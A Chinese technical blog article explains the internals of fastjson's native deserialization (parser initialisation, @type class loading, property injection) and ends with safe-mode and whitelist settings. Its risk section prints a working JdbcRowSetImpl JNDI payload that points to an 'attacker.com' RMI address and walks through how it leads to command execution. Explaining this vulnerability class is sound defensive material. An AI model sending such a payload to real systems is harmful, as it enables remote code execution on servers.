news 2026/6/9 18:58:07

fastjson 原生反序列化的底层原理和执行流程

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
fastjson 原生反序列化的底层原理和执行流程

一、fastjson 反序列化核心概念

首先明确基础定义:

  • 反序列化:将 JSON 字符串转换为 Java 对象的过程,fastjson 作为高性能 JSON 库,其反序列化核心是「基于字节码生成 + 反射」的混合实现。
  • 原生反序列化:指 fastjson 默认的反序列化方式(非ParserConfig.getGlobalInstance().setSafeMode(true)等安全模式),支持完整的类加载、属性注入和方法调用。

二、fastjson 原生反序列化核心流程

fastjson 反序列化的完整执行链路可分为 5 个核心步骤,我用流程图+文字拆解:

输入JSON字符串
JSON解析器初始化
语法解析与Token提取
类加载与实例化
属性注入与方法调用
返回最终Java对象
步骤1:JSON解析器初始化

fastjson 会创建DefaultJSONParser对象,核心参数包括:

  • JSON 字符串的字符数组
  • 配置类ParserConfig(决定是否允许加载自定义类、是否开启安全模式等)
  • 特征配置Feature(如是否允许单引号、是否忽略未知属性等)

核心代码示例:

// 手动初始化解析器(fastjson底层调用逻辑)Stringjson="{\"@type\":\"com.example.User\",\"name\":\"test\"}";ParserConfigconfig=ParserConfig.getGlobalInstance();// 默认全局配置DefaultJSONParserparser=newDefaultJSONParser(json,config,Feature.Default);
步骤2:语法解析与Token提取

DefaultJSONParser通过Lexer对 JSON 字符串进行词法分析,将字符串拆分为 Token(如{}@type、字符串值、数字值等),核心逻辑:

  1. 识别 JSON 结构(对象/数组/基本类型);
  2. 提取关键标识:尤其是@type字段(fastjson 反序列化的核心入口,指定要实例化的类名);
  3. 校验 JSON 语法合法性(如括号匹配、引号闭合等)。
步骤3:类加载与实例化

这是反序列化的核心环节,fastjson 会根据@type指定的类名(或默认类)完成类加载和对象创建:

  1. 类加载:通过ParserConfigcheckAutoType方法校验类名(原生模式下默认允许大部分类),然后通过Class.forName加载类;
  2. 对象实例化
    • 优先调用类的无参构造方法(如果没有无参构造且未指定 Creator,会抛出异常);
    • 支持通过@JSONCreator注解指定有参构造/静态工厂方法;
    • 对于集合/数组等容器类,会创建对应的空容器对象。

核心代码(简化版):

// 类加载逻辑(ParserConfig核心方法)publicClass<?>checkAutoType(StringtypeName,Class<?>expectClass,intfeatures){// 原生模式下跳过大部分安全校验Class<?>clazz=Class.forName(typeName,true,Thread.currentThread().getContextClassLoader());returnclazz;}// 对象实例化(JavaBeanDeserializer)publicObjectcreateInstance(DefaultJSONParserparser,Typetype){// 优先找无参构造Constructor<?>constructor=clazz.getDeclaredConstructor();constructor.setAccessible(true);returnconstructor.newInstance();}
步骤4:属性注入与方法调用

实例化对象后,fastjson 会遍历 JSON 中的键值对,完成属性赋值,核心逻辑:

  1. 属性匹配:将 JSON 的 key 与 Java 类的字段名/setter 方法匹配(支持驼峰/下划线自动转换);
  2. 类型转换:将 JSON 中的字符串/数字等值转换为 Java 字段的类型(如 String → Integer、JSON 对象 → 嵌套 Java 对象);
  3. 赋值方式
    • 优先调用setXxx()方法(符合 JavaBean 规范);
    • 如果没有 setter,直接通过反射设置字段值(field.setAccessible(true));
  4. 特殊方法调用
    • 对于实现java.io.Externalizable的类,会调用readExternal方法;
    • 对于自定义反序列化器(ObjectDeserializer),会调用其deserialze方法。
步骤5:返回最终对象

完成所有属性注入后,将实例化并赋值完成的 Java 对象返回,反序列化流程结束。

三、fastjson 反序列化关键组件

组件名作用
DefaultJSONParser核心解析器,负责 JSON 词法/语法分析
ParserConfig反序列化配置中心,控制类加载、自动类型检测、反序列化器注册等
JavaBeanDeserializer默认的 JavaBean 反序列化器,处理普通类的实例化和属性注入
Lexer词法分析器,将 JSON 字符串拆分为 Token
ObjectDeserializer反序列化器接口,自定义类可实现该接口定制反序列化逻辑

四、原生反序列化的核心风险(深度剖析重点)

fastjson 原生反序列化的最大问题在于@type字段的滥用,核心风险点:

  1. 任意类加载:原生模式下checkAutoType校验宽松,攻击者可通过@type指定危险类(如com.sun.rowset.JdbcRowSetImpl);
  2. 反射执行恶意代码:危险类实例化后,其属性注入过程会触发敏感方法(如JdbcRowSetImplsetDataSourceName会触发 JNDI 调用,进而加载远程恶意类);
  3. 无参构造触发风险:部分危险类的无参构造方法本身就会执行敏感逻辑(如文件写入、命令执行)。

典型恶意 JSON 示例:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://attacker.com/malicious.class","autoCommit":true}

执行流程:

  1. 加载JdbcRowSetImpl类 → 实例化(无参构造);
  2. 注入dataSourceName属性(调用setDataSourceName);
  3. 注入autoCommit属性(调用setAutoCommit,内部触发connect方法,访问 RMI 服务器加载恶意类);
  4. 恶意类执行命令,完成攻击。

五、fastjson 反序列化优化/安全配置

为了规避风险,实际使用中需调整配置:

  1. 开启安全模式:
    ParserConfig.getGlobalInstance().setSafeMode(true);
  2. 白名单控制:
    ParserConfigconfig=newParserConfig();config.addAccept("com.example.");// 只允许反序列化指定包下的类
  3. 禁用@type字段:
    DefaultJSONParserparser=newDefaultJSONParser(json,config,Feature.DisableSpecialKeyDetect);

总结

  1. fastjson 原生反序列化核心是「解析 JSON → 加载类 → 实例化对象 → 反射注入属性」,依赖ParserConfig控制类加载规则;
  2. @type字段是反序列化的核心入口,也是安全风险的主要来源,原生模式下校验宽松易导致任意代码执行;
  3. 生产环境必须开启安全模式/白名单,禁用不必要的@type解析,避免反序列化漏洞。
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/10 16:29:18

失控边缘:Agentic AI十大安全风险与最小原则防御体系

当AI从“被动响应工具”进化为“自主决策执行者”&#xff0c;Agentic AI&#xff08;智能体AI&#xff09;凭借目标拆解、工具调用、迭代优化的核心能力&#xff0c;正重塑医疗诊断、金融交易、工业控制等关键领域。但自主性的提升必然伴随风险升级——从单智能体的目标劫持到…

作者头像 李华
网站建设 2026/6/10 17:08:35

Java Web +校园求职招聘系统系统源码-SpringBoot2+Vue3+MyBatis-Plus+MySQL8.0【含文档】

摘要 随着高校毕业生数量的逐年增加&#xff0c;校园求职市场竞争日益激烈&#xff0c;传统的线下招聘方式已无法满足学生和企业的需求。信息不对称、招聘效率低下、资源浪费等问题逐渐凸显&#xff0c;亟需一套高效、便捷的在线求职招聘系统来优化校园招聘流程。该系统旨在为学…

作者头像 李华
网站建设 2026/6/10 12:46:49

【Open-AutoGLM性能优化必读】:如何在5分钟内解决启动超时顽疾

第一章&#xff1a;Open-AutoGLM启动超时问题的现状与影响Open-AutoGLM作为一款基于AutoGLM架构的开源自动化机器学习推理框架&#xff0c;广泛应用于模型部署与边缘计算场景。然而&#xff0c;近期多个用户反馈其在特定环境下存在显著的启动超时问题&#xff0c;严重制约了系统…

作者头像 李华
网站建设 2026/6/10 2:04:55

LangFlow中的弹性伸缩机制设想:根据负载自动扩缩容

LangFlow中的弹性伸缩机制设想&#xff1a;根据负载自动扩缩容 在今天的企业AI开发中&#xff0c;一个常见的尴尬场景是&#xff1a;团队花费数周搭建了一个基于LangChain的智能问答系统原型&#xff0c;结果上线演示当天&#xff0c;十几个人同时测试就导致服务卡顿、响应超时…

作者头像 李华
网站建设 2026/6/10 12:59:36

基于springboot + vue宠物领养救助管理系统(源码+数据库+文档)

宠物领养救助管理 目录 基于springboot vue宠物领养救助管理系统 一、前言 二、系统功能演示 三、技术选型 四、其他项目参考 五、代码参考 六、测试参考 七、最新计算机毕设选题推荐 八、源码获取&#xff1a; 基于springboot vue宠物领养救助管理系统 一、前言 博…

作者头像 李华
网站建设 2026/6/9 19:10:27

基于java + vue居家养老服务小程序系统(源码+数据库+文档)

居家养老服务 目录 基于springboot vue居家养老服务系统 一、前言 二、系统功能演示 三、技术选型 四、其他项目参考 五、代码参考 六、测试参考 七、最新计算机毕设选题推荐 八、源码获取&#xff1a; 基于springboot vue居家养老服务系统 一、前言 博主介绍&…

作者头像 李华